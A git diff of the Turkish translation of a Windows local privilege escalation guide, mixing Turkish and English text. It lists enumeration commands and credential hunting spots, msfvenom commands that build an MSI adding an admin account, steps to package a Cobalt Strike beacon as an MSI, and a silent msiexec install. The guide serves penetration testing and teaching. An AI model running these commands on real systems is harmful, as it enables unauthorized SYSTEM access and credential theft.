[**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] Yüklü uygulamalarda **write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) -- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) -- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) +- [ ] **Yazma** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) izni var mı? +- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) kontrol et +- [ ] **Zayıf** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) var mı? ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] PATH içindeki herhangi bir klasöre **yazabilir** misiniz? -- [ ] Hiçbir servisin bilinen ve **olmayan** bir DLL'i yüklemeye çalıştığı biliniyor mu? -- [ ] Herhangi bir **binaries folder** içine **yazabilir** misiniz? +- [ ] PATH içindeki herhangi bir klasöre **yazabilir misiniz**? +- [ ] Bilinen bir servis binary'si herhangi bir mevcut olmayan DLL'i yüklemeye çalışıyor mu? +- [ ] Herhangi bir **binaries folder**'a yazma izniniz var mı? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Ağı enumerate edin (shares, interfaces, routes, neighbours, ...) -- [ ] Localhost (127.0.0.1) üzerinde dinleyen network servislerine özellikle bakın +- [ ] Ağı enumerate et (shares, interfaces, routes, neighbours, ...) +- [ ] localhost (127.0.0.1) üzerinde dinleyen network servislerine özellikle bak ### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) kimlik bilgileri -- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) kullanabileceğiniz kimlik bilgileri var mı? -- [ ] İlginç [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] Kaydedilmiş [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) parolaları? -- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) içinde ilginç bilgi? +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) credentials +- [ ] Kullanabileceğiniz [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials var mı? +- [ ] İlginç [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) var mı? +- [ ] Kaydedilmiş [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) şifreleri var mı? +- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) içinde ilginç bilgiler var mı? - [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) içinde parolalar var mı? - [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) parolaları? -- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Kimlik bilgileri? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials var mı? - [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? ### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) -- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? -- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) içinde parolalar? +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **ve** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry) var mı? +- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) içinde parolalar var mı? - [ ] Herhangi bir [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) yedeği var mı? -- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? -- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) dosyası? -- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? +- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials) var mı? +- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) dosyası var mı? +- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) var mı? - [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) içindeki parola? -- [ ] [**web logs**](windows-local-privilege-escalation/index.html#logs) içinde ilginç bilgi? -- [ ] Kullanıcıdan [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) ister misiniz? -- [ ] [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) içindeki ilginç dosyalar? -- [ ] Diğer [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry) -- [ ] [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) içinde (dbs, history, bookmarks, ...)? -- [ ] Dosya ve registry'de [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) -- [ ] Parola aramak için [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) +- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) içinde ilginç bilgiler var mı? +- [ ] Kullanıcıdan [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) istemek ister misiniz? +- [ ] [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) içinde ilginç dosyalar var mı? +- [ ] Diğer [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry) kayıtlarını kontrol et +- [ ] [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) içinde (dbs, history, bookmarks, ...) var mı? +- [ ] Dosyalarda ve registry'de [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) yap +- [ ] Parolaları otomatik aramak için [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) kullan ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) @@ -110,6 +110,6 @@ ### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] Kötüye kullanıp kullanamayacağınızı kontrol edin +- [ ] Bunu kötüye kullanıp kullanamayacağınızı kontrol et {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 2df97eee3..44601b497 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -4,11 +4,11 @@ ### **Windows local privilege escalation vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## İlk Windows Teorisi +## Başlangıç Windows Teorisi ### Access Tokens -**Eğer Windows Access Tokens'in ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:** +**Windows Access Tokens'in ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:** {{#ref}} @@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Windows'taki integrity levels'in ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okumalisiniz:** +**Windows'taki integrity levels'in ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:** {{#ref}} @@ -35,7 +35,7 @@ integrity-levels.md ## Windows Güvenlik Kontrolleri -Windows'ta sistemin taranmasını engelleyebilecek, yürütülebilir dosyaları çalıştırmanızı önleyebilecek veya hatta aktivitelerinizi tespit edebilecek çeşitli öğeler vardır. Privilege escalation enumerasyonuna başlamadan önce aşağıdaki sayfayı okumalı ve tüm bu savunma mekanizmalarını listelemelisiniz: +Windows'ta sisteminizi **prevent you from enumerating the system**, executable'ları çalıştırmanızı engelleyebilecek veya hatta etkinliklerinizi **detect your activities** edebilecek farklı unsurlar vardır. Privilege escalation enumeration'a başlamadan önce aşağıdaki **page**'i **read** edip tüm bu **defenses** **mechanisms**'ı **enumerate** etmelisiniz: {{#ref}} @@ -46,7 +46,7 @@ Windows'ta sistemin taranmasını engelleyebilecek, yürütülebilir dosyaları ### Sürüm bilgisi enumerasyonu -Windows sürümünün bilinen herhangi bir açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). +Windows sürümünün bilinen bir zafiyeti olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -61,7 +61,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ### Version Exploits -Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güvenlik açıkları hakkında ayrıntılı bilgi aramak için kullanışlı. Bu veritabanında 4.700'den fazla güvenlik açığı bulunuyor; Windows ortamının sunduğu **massive attack surface**'ı gösteriyor. +Bu [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft güvenlik açıkları hakkında ayrıntılı bilgi aramak için kullanışlıdır. Bu veritabanında 4.700'den fazla güvenlik açığı bulunuyor; bu, bir Windows ortamının sunduğu **büyük saldırı yüzeyini** gösterir. **Sistemde** @@ -70,7 +70,7 @@ Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güv - [_watson_](https://github.com/rasta-mouse/Watson) - [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas içinde watson gömülü)_ -**Yerelde sistem bilgileri ile** +**Sistem bilgisiyle yerel olarak** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) @@ -83,7 +83,7 @@ Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güv ### Ortam -Herhangi bir kimlik bilgisi/değerli bilgi env değişkenlerinde kayıtlı mı? +Env variables içinde herhangi bir credential/Juicy info kayıtlı mı? ```bash set dir env: @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell Transcript dosyaları -Bunu nasıl etkinleştireceğinizi şu adresten öğrenebilirsiniz: [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Bunu nasıl etkinleştireceğinizi şu adreste öğrenebilirsiniz: [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,9 +116,9 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShell pipeline yürütmeleriyle ilgili ayrıntılar kaydedilir; yürütülen komutlar, komut çağrıları ve betiklerin parçalarını kapsar. Ancak tüm yürütme ayrıntıları ve çıktı sonuçları yakalanmayabilir. +PowerShell pipeline yürütmelerinin ayrıntıları kaydedilir; yürütülen komutları, komut çağırımlarını ve betiklerin parçalarını kapsar. Ancak tam yürütme ayrıntıları ve çıktı sonuçları yakalanmayabilir. -Bunu etkinleştirmek için dokümantasyondaki "Transcript files" bölümündeki talimatları izleyin; **"Module Logging"**'i **"Powershell Transcription"** yerine tercih edin. +Bunu etkinleştirmek için dokümantasyondaki "Transcript files" bölümündeki talimatları izleyin ve **"Module Logging"**'i **"Powershell Transcription"** yerine tercih edin. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging @@ -131,14 +131,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Betiğin yürütülmesinin tam etkinlik ve içerik kaydı tutulur; böylece her kod bloğu çalışırken belgelenir. Bu süreç, adli inceleme ve kötü amaçlı davranışların analizinde değerli olan kapsamlı bir denetim izini korur. Yürütme anında tüm etkinlikler belgelenerek sürece ilişkin ayrıntılı içgörüler sağlanır. +Script'in yürütülmesinin tüm faaliyet ve içerik kayıtları yakalanır; her kod bloğunun çalışırken belgelendiğinden emin olunur. Bu işlem, her faaliyetin kapsamlı bir denetim izi şeklinde korunmasını sağlar; bu, adli inceleme ve kötü amaçlı davranışların analizinde değerlidir. Yürütme sırasında tüm etkinlikler belgelenerek süreç hakkında ayrıntılı içgörüler sağlanır. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block için olay kayıtları Windows Event Viewer'da şu yolda bulunur: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Script Block için log kayıtları Windows Event Viewer'da şu yolda bulunabilir: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Son 20 olayı görüntülemek için şunu kullanabilirsiniz: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Güncellemeler http**S** yerine http ile talep ediliyorsa sistemi ele geçirebilirsiniz. +Güncellemeler http**S** yerine http üzerinden talep ediliyorsa sistemi ele geçirebilirsiniz. -Başlangıç olarak, ağın non-SSL WSUS güncellemesi kullanıp kullanmadığını kontrol etmek için cmd'de aşağıdakini çalıştırın: +Ağın non-SSL WSUS update kullanıp kullanmadığını kontrol etmek için cmd'de aşağıdakini çalıştırın: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Veya PowerShell'de aşağıdakiler: +Veya PowerShell'te aşağıdakiler: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Bunlardan biri gibi bir yanıt alırsanız: +Eğer aşağıdakilerden biri gibi bir yanıt alırsanız: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,13 +180,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -Ve eğer `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` veya `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` değeri `1` ise. +And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. -O zaman, **istismar edilebilir.** Eğer son kayıt değeri `0` ise, WSUS girdisi yok sayılacaktır. +Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored. -Bu zafiyeti istismar etmek için şu araçları kullanabilirsiniz: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Bunlar MiTM amaçlı, non-SSL WSUS trafiğine 'sahte' güncellemeler enjekte eden exploit scriptleridir. +In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. -Araştırmayı burada okuyun: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -194,18 +194,19 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Tam raporu burada okuyun**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Temelde, bu hatanın istismar ettiği kusur şudur: +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +Basically, this is the flaw that this bug exploits: -> Eğer yerel kullanıcı proxy’imizi değiştirme yetkimiz varsa ve Windows Update, Internet Explorer’ın ayarlarında yapılandırılmış proxy’yi kullanıyorsa, bu durumda [PyWSUS](https://github.com/GoSecure/pywsus)’u yerel olarak çalıştırıp kendi trafiğimizi yakalayabilir ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırabiliriz. +> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. > -> Dahası, WSUS servisi geçerli kullanıcının ayarlarını kullandığı için onun sertifika deposunu da kullanır. WSUS hostname’i için self-signed bir sertifika üretip bu sertifikayı geçerli kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabiliriz. WSUS, sertifika üzerinde trust-on-first-use benzeri bir doğrulama uygulamak için HSTS-benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir ise ve doğru hostname’e sahipse, servis tarafından kabul edilir. +> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. -Bu zafiyeti [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) aracıyla (serbest kaldığında) istismar edebilirsiniz. +You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). -## Üçüncü Taraf Otomatik Güncelleyiciler ve Ajan IPC (local privesc) +## Third-Party Auto-Updaters and Agent IPC (local privesc) + +Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here: -Birçok kurumsal ajan, localhost üzerinde bir IPC yüzeyi ve ayrıcalıklı bir güncelleme kanalı açar. Kayıt bir saldırgan sunucusuna zorlanabiliyor ve updater sahte bir root CA’ya veya zayıf imzalayıcı kontrollerine güveniyorsa, yerel bir kullanıcı SYSTEM servisine yüklenen zararlı bir MSI teslim edebilir. Genel bir teknik (Netskope stAgentSvc zincirine dayalı – CVE-2025-0309) için bakınız: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,15 +214,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Belirli koşullar altında Windows **domain** ortamlarında bir **local privilege escalation** zafiyeti vardır. Bu koşullar, **LDAP signing zorunlu değilse**, kullanıcıların **Resource-Based Constrained Delegation (RBCD)** yapılandırma hakkına sahip olmaları ve kullanıcıların domain içinde bilgisayar oluşturabilme yeteneğini içermektedir. Bu **gereksinimlerin** varsayılan ayarlarla sağlandığını unutmamak önemlidir. +A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. -Exploit'i şurada bulun: [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Saldırının akışı hakkında daha fazla bilgi için bkz. https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Eğer** bu 2 kayıt **etkinse** (değer **0x1** ise), o zaman her seviyeden kullanıcı `*.msi` dosyalarını NT AUTHORITY\\**SYSTEM** olarak **yükleyebilir** (çalıştırabilir). +**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -231,72 +232,73 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`** +Bir meterpreter oturumunuz varsa, bu tekniği **`exploit/windows/local/always_install_elevated`** modülünü kullanarak otomatikleştirebilirsiniz ### PowerUP -Geçerli dizinde ayrıcalıkları yükseltmek için bir Windows MSI binary oluşturmak üzere power-up içinden `Write-UserAddMSI` komutunu kullanın. Bu script, user/group addition için prompt veren ön-derlenmiş bir MSI installer yazar (bu yüzden GIU access gerekecektir): +Yetkileri yükseltmek için, mevcut dizinde bir Windows MSI ikili dosyası oluşturmak üzere power-up'tan `Write-UserAddMSI` komutunu kullanın. Bu script, kullanıcı/grup eklemesi isteyen önceden derlenmiş bir MSI yükleyicisi oluşturur (dolayısıyla GIU erişimine ihtiyacınız olacak): ``` Write-UserAddMSI ``` -Yetkileri yükseltmek için oluşturulan ikiliyi çalıştırmanız yeterlidir. +Sadece oluşturulan binary'i çalıştırarak ayrıcalıkları yükseltin. ### MSI Wrapper -Bu öğreticiyi, bu araçları kullanarak bir MSI wrapper oluşturmayı öğrenmek için okuyun. Sadece komut satırlarını çalıştırmak istiyorsanız bir "**.bat**" dosyasını sarmalayabileceğinizi unutmayın. +Bu öğreticiyi okuyarak bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenin. Eğer **sadece** komut satırlarını **çalıştırmak** istiyorsanız bir "**.bat**" dosyasını sarabileceğinizi unutmayın. {{#ref}} msi-wrapper.md {{#endref}} -### Create MSI with WIX +### WIX ile MSI Oluşturma {{#ref}} create-msi-with-wix.md {{#endref}} -### Create MSI with Visual Studio +### Visual Studio ile MSI Oluşturma -- **Cobalt Strike** veya **Metasploit** ile `C:\privesc\beacon.exe` konumunda yeni bir **Windows EXE TCP payload** oluşturun -- **Visual Studio**'yu açın, **Create a new project**'ı seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **Next**'e tıklayın. -- Projeye **AlwaysPrivesc** gibi bir isim verin, konum olarak **`C:\privesc`** kullanın, **place solution and project in the same directory** seçeneğini işaretleyin ve **Create**'a tıklayın. -- Dahil edilecek dosyaları seçme adımı olan 4 adımın 3. adımına gelene kadar **Next**'e tıklamaya devam edin. **Add**'e tıklayın ve az önce oluşturduğunuz Beacon payload'u seçin. Ardından **Finish**'e tıklayın. -- **Solution Explorer** içinde **AlwaysPrivesc** projesini seçin ve **Properties**'de **TargetPlatform**'ı **x86**'dan **x64**'e değiştirin. -- Yüklü uygulamayı daha meşru gösterebilecek **Author** ve **Manufacturer** gibi değiştirebileceğiniz diğer özellikler de vardır. +- **Cobalt Strike** veya **Metasploit** ile `C:\privesc\beacon.exe` konumunda yeni bir **Windows EXE TCP payload** **oluşturun** +- **Visual Studio**'yu açın, **Create a new project** seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **Next**'e tıklayın. +- Projeye bir isim verin (ör. **AlwaysPrivesc**), konum için **`C:\privesc`** kullanın, **place solution and project in the same directory** seçeneğini işaretleyin ve **Create**'e tıklayın. +- 4 adımlı sihirbazın 3. adımına (include edilecek dosyaları seçme) gelene kadar **Next**'e tıklamaya devam edin. **Add**'e tıklayın ve az önce oluşturduğunuz Beacon payload'ını seçin. Ardından **Finish**'e tıklayın. +- **Solution Explorer** içinde **AlwaysPrivesc** projesini seçin ve **Properties**'te **TargetPlatform**'ı **x86**'dan **x64**'e değiştirin. +- Yüklü uygulamayı daha meşru gösterebilecek **Author** ve **Manufacturer** gibi değiştirilebilecek diğer özellikler vardır. - Projeye sağ tıklayın ve **View > Custom Actions**'ı seçin. - **Install**'e sağ tıklayın ve **Add Custom Action**'ı seçin. -- **Application Folder**'a çift tıklayın, **beacon.exe** dosyanızı seçin ve **OK**'e tıklayın. Bu, kurucu çalıştırıldığında beacon payload'unun hemen yürütülmesini sağlar. +- **Application Folder**'a çift tıklayın, **beacon.exe** dosyanızı seçin ve **OK**'e tıklayın. Bu, installer çalıştırıldığında beacon payload'ının hemen yürütülmesini sağlar. - **Custom Action Properties** altında **Run64Bit**'i **True** olarak değiştirin. -- Son olarak, **derleyin**. -- Eğer `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı görünürse, platformu x64 olarak ayarladığınızdan emin olun. +- Son olarak, **build** edin. +- Eğer `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı gösterilirse, platformu x64 olarak ayarladığınızdan emin olun. -### MSI Installation +### MSI Kurulumu -Kötü amaçlı `.msi` dosyasının arka planda **kurulumunu** yürütmek için: +Kötü amaçlı `.msi` dosyasının **kurulumunu** arka planda yürütmek için: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Bu güvenlik açığını istismar etmek için şunu kullanabilirsiniz: _exploit/windows/local/always_install_elevated_ +Bu zafiyeti istismar etmek için kullanabileceğiniz: _exploit/windows/local/always_install_elevated_ -## Antivirus ve Tespit Araçları +## Antivirus ve Dedektörler ### Denetim Ayarları -Bu ayarlar hangi bilgilerin **kaydedileceğine** karar verir, bu yüzden dikkat etmelisiniz. +Bu ayarlar neyin **kaydedileceğini** belirler; bu yüzden dikkat etmelisiniz ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding, logların nereye gönderildiğini bilmek ilginçtir +Windows Event Forwarding, günlüklerin nereye gönderildiğini bilmek ilginçtir. ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** domain'e katılmış bilgisayarlarda yerel Administrator parolalarının yönetimi için tasarlanmıştır; her parolanın benzersiz, rastgele ve düzenli olarak güncellendiğinden emin olur. Bu parolalar Active Directory içinde güvenli bir şekilde saklanır ve yalnızca ACLs aracılığıyla yeterli izinlere sahip kullanıcılara erişim verilir; yetkilendirilmiş kullanıcılar yerel admin parolalarını görüntüleyebilir. +**LAPS**, domain'e dahil bilgisayarlarda local Administrator parolalarının **yönetimi** için tasarlanmıştır; her parolanın **benzersiz, rastgele ve düzenli olarak güncellenmesini** sağlar. Bu parolalar Active Directory içinde güvenli şekilde saklanır ve yalnızca ACLs aracılığıyla yeterli izin verilmiş kullanıcılar tarafından erişilebilir; yetkilendirilmiş kullanıcılar local admin parolalarını görüntüleyebilir. + {{#ref}} ../active-directory-methodology/laps.md @@ -304,36 +306,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Eğer etkinse, **düz metin parolalar LSASS** (Local Security Authority Subsystem Service) içinde saklanır.\ -[**WDigest hakkında daha fazla bilgi için bu sayfaya bakın**](../stealing-credentials/credentials-protections.md#wdigest). +Aktifse, **düz metin parolalar LSASS** (Local Security Authority Subsystem Service) içinde saklanır.\ +[**WDigest hakkında daha fazla bilgi bu sayfada**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -**Windows 8.1**'den itibaren, Microsoft, Local Security Authority (LSA) için güvensiz süreçlerin **belleğini okumaya** veya kod enjekte etmeye yönelik girişimlerini **engellemek** amacıyla gelişmiş bir koruma sundu ve böylece sistemi daha da güvenli hale getirdi.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection) +**Windows 8.1** ile başlayarak Microsoft, Local Security Authority (LSA) için güvensiz süreçlerin **belleğini okuma** veya kod enjekte etme girişimlerini **engellemek** amacıyla geliştirilmiş koruma getirdi ve sistemi daha da güvenli hâle getirdi.\ +[**LSA Protection hakkında daha fazla bilgi**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** Windows 10'da tanıtıldı. Amacı, cihazda depolanan kimlik bilgilerini pass-the-hash gibi tehditlere karşı korumaktır.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** **Windows 10**'da tanıtıldı. 